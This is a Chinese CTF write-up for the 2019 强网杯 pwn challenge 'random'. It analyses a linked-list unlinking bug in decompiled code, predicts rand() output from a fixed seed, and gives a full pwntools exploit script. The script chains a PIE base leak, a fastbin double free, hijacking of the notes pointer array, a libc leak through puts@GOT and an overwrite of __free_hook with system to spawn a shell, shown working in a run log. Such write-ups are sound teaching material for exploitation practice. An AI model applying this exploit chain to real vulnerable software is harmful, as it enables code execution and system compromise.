强网杯2019 pwn random writeup

TOC

  1. 1. 溢出点
    1. 1.1. run
    2. 1.2. add
    3. 1.3. set_run_func
  2. 2. 思路
    1. 2.1. 泄露程序基地址
    2. 2.2. 预测rand
      1. 2.2.1. prediction.c
    3. 2.3. double free
    4. 2.4. 劫持notes指针数组
    5. 2.5. 任意地址读写
  3. 3. 完整脚本
    1. 3.1. 运行实例
  4. 4. 总结

这题难点在于找到溢出点,找到溢出点之后就是正常的fastbin题目,靶机的glibc版本是2.23。

源程序、相关文件下载:random.zip

溢出点

下面所有的symbols都是我自己加的,具体情况还请看IDA分析文件。

关键在于global_ptr的解链操作是否正确。

run

void __fastcall run(int a1)
{
func_container *ptr; // [rsp+10h] [rbp-20h]
func_container *v2; // [rsp+18h] [rbp-18h]
func_container *v3; // [rsp+20h] [rbp-10h]
void (__fastcall *v4)(); // [rsp+28h] [rbp-8h]

if ( global_ptr )
{
ptr = global_ptr;
v3 = global_ptr;
do
{
while ( ptr->type != a1 )
{
v3 = ptr;
ptr = ptr->next;
if ( !ptr )
return;
}
v4 = ptr->func_ptr;
if ( ptr == global_ptr )
{
global_ptr = ptr->next;
v3 = global_ptr;
v2 = global_ptr;
}
else
{
v3->next = ptr->next;
v2 = ptr->next;
}
free(ptr);
(v4)(ptr);
ptr = v2;
}
while ( v2 );
}
}

原本程序是可以正常解链,但是一旦在add函数中,选择了额外增加节点,那么解链就会出问题。

add

void __cdecl add()
{
char v0; // ST06_1
char v1; // ST07_1
signed int i; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]

puts("Do you want to add note?(Y/N)");
v0 = getchar();
getchar();
if ( v0 == 'Y' )
{
for ( i = 0; i <= 14; ++i )
{
if ( !notes[i].ptr )
{
puts("Input the size of the note:");
v3 = get_int();
if ( v3 > 0 && v3 <= 63 )
{
notes[i].size = v3;
notes[i].ptr = malloc(v3 + 1);
puts("Input the content of the note:");
input(notes[i].ptr, notes[i].size);
puts("success!");
puts("Do you want to add another note, tomorrow?(Y/N)");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
set_run_func(add, 2);
}
return;
}
}
}
else
{
--unk_2030E0;
}
}

set_run_func

void __fastcall set_run_func(__int64 func_addr, int a2)
{
func_container *new_; // rax

new_ = calloc(1uLL, 24uLL);
new_->type = a2;
new_->func_ptr = func_addr;
new_->next = global_ptr;
global_ptr = new_;
}

建议:对于链表这种比较抽象的数据结构,画图是最适合的

画出图来之后,你就会发现add函数中,选择了额外增加节点,新节点直接插入global_ptr表头,因为程序是按照顺序存储来执行的,所以之后global_ptr指向的下一个节点,会一直保存在链表上,但是其实他已经被free了,所以我们可以利用double free来做该题。

思路

  1. 泄露程序基地址
  2. 预测rand
  3. double free
  4. 劫持notes指针数组
  5. 任意地址读写

泄露程序基地址

main函数中的泄露点,栈上还残留这基地址信息,可以泄露程序基地址。

puts("Please input your name:");
read(0, name, 24uLL);
v3 = strdup(name);
srand(unk_203178);
set_run_func(sub_11D6, 1);
printf("How many days do you want to play this game, %s?\n", v3);

对应脚本:

sh.recvuntil('Please input your name:\n')
sh.send('a' * 8)
sh.recvuntil('a' * 8)
result = sh.recvuntil('?\n')[:-2]

image_base_addr = u64(result.ljust(8, '\0')) - 0xb90
log.success('image_base_addr: ' + hex(image_base_addr))

预测rand

种子是固定的,所以每次的随机数都是可预测的 。

prediction.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main()
{
int i, temp;
char *str[4] = {"add", "update", "delete", "view"};
srand(0);
for(i = 0; i < 50; i++)
{
temp = rand() % 4;
printf("%3d : %3d %10s\n", i + 1, temp, str[temp]);
}

return 0;
}

执行效果:

ex@ubuntu:~/test$ gcc prediction.c -o prediction
ex@ubuntu:~/test$ ./prediction
1 : 3 view
2 : 2 delete
3 : 1 update
4 : 3 view
5 : 1 update
6 : 3 view
7 : 2 delete
8 : 0 add
9 : 1 update
10 : 1 update
11 : 2 delete
12 : 3 view
13 : 2 delete
14 : 3 view
15 : 3 view
16 : 2 delete
17 : 0 add
18 : 2 delete
19 : 0 add
20 : 0 add
21 : 3 view
22 : 0 add
23 : 3 view
24 : 1 update
25 : 2 delete
26 : 2 delete
27 : 2 delete
28 : 3 view
29 : 3 view
30 : 3 view
31 : 1 update
32 : 2 delete
33 : 2 delete
34 : 2 delete
35 : 1 update
36 : 3 view
37 : 1 update
38 : 0 add
39 : 3 view
40 : 2 delete
41 : 1 update
42 : 1 update
43 : 1 update
44 : 3 view
45 : 0 add
46 : 1 update
47 : 2 delete
48 : 0 add
49 : 3 view
50 : 2 delete

double free

利用溢出点进行double Free。

# the first
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8')

add(17, 'bbbb\n', True) # index 0
do_not(7)

# the second : run out of fastbins
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('7') # 8
# double free
do_not(7 + 2)

劫持notes指针数组

notes_offset = 0x203180

# the third
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 15
do_not(1)

# the fourth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('2') # 16
do_not(1)
add(17, '\n', False) # index 1


# the fifth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 18
add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False) # index 2

# the sixth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('5') # 19
do_not(2)
add(0x21, '\n', False) # index 3 : fake_chunk->size
do_not(1)
add(0x21, '\n', False) # index 4


# the eighth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8') # 24
do_not(8)

# the nineth : set size
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('6') # 32
add(0x21, '\n', False) # index 5 : fake_chunk's next_chunk->size
do_not(4)
delete(0)

由于程序在run函数之前是先free的,所以我们不仅要构造fake_chunk的size(为了绕过malloc的检查),还要构造next_chunk的size,以为了绕过free的检查。

任意地址读写

当你完成劫持notes指针数组之后,就相当于可以进行任意地址读写了,我是先读出puts.got来泄露libc基地址,然后直接把__free_hook改成system来拿shell。

# the tenth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('10') # 38
add(17, '\0' * 8 + '\n', False) # index 0
do_not(1)
update(0, p64(image_base_addr + elf.got['puts']) + '\n')
do_not(1)
result = view(4)
libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_base_addr: ' + hex(libc_base_addr))

update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n')
update(4, p64(libc_base_addr + libc.symbols['system']) + '\n')
update(1, '/bin/sh\0\n')
delete(1)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


# context.log_level = "debug"
sh = process('./random')
elf = ELF('./random')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = "debug"
context.arch = "amd64"

# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)

def add(size, content, another_note):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the size of the note:\n')
sh.sendline(str(size))
sh.recvuntil('Input the content of the note:\n')
sh.send(content)
sh.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n')
if(another_note):
sh.sendline('Y')
else:
sh.sendline('N')

def update(index, content):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the index of the note:\n')
sh.sendline(str(index))
sh.recvuntil('Input the new content of the note:\n')
sh.send(content)

def delete(index):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the index of the note:\n')
sh.sendline(str(index))

def view(index):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the index of the note:\n')
sh.sendline(str(index))
result = sh.recvuntil('\n')
return result[:-1]

def do_not(times):
for i in range(int(times)):
sh.recvuntil('?(Y/N)\n')
sh.sendline('N')

# pause()
sh.recvuntil('Please input your name:\n')
sh.send('a' * 8)
sh.recvuntil('a' * 8)
result = sh.recvuntil('?\n')[:-2]

image_base_addr = u64(result.ljust(8, '\0')) - 0xb90
log.success('image_base_addr: ' + hex(image_base_addr))

# How many days do you want to play this game
sh.sendline('35')

# the first
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8')

add(17, 'bbbb\n', True) # index 0
do_not(7)

# the second : run out of fastbins
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('7') # 8
# double free
do_not(7 + 2)

notes_offset = 0x203180

# the third
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 15
do_not(1)

# the fourth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('2') # 16
do_not(1)
add(17, '\n', False) # index 1


# the fifth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 18
add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False) # index 2

# the sixth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('5') # 19
do_not(2)
add(0x21, '\n', False) # index 3
do_not(1)
add(0x21, '\n', False) # index 4


# the eighth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8') # 24
do_not(8)

# the nineth : set size
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('6') # 32
add(0x21, '\n', False) # index 5
do_not(4)
delete(0)

# the tenth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('10') # 38
add(17, '\0' * 8 + '\n', False) # index 0
do_not(1)
update(0, p64(image_base_addr + elf.got['puts']) + '\n')
do_not(1)
result = view(4)
libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_base_addr: ' + hex(libc_base_addr))

update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n')
update(4, p64(libc_base_addr + libc.symbols['system']) + '\n')
update(1, '/bin/sh\0\n')
delete(1)


sh.interactive()

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './random': pid 3350
[*] '/home/ex/test/random'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] image_base_addr: 0x55afdedd2000
[+] libc_base_addr: 0x7f145f894000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

总结

有些溢出点比较难以想象的时候,有时画图能更好的帮助我们理解。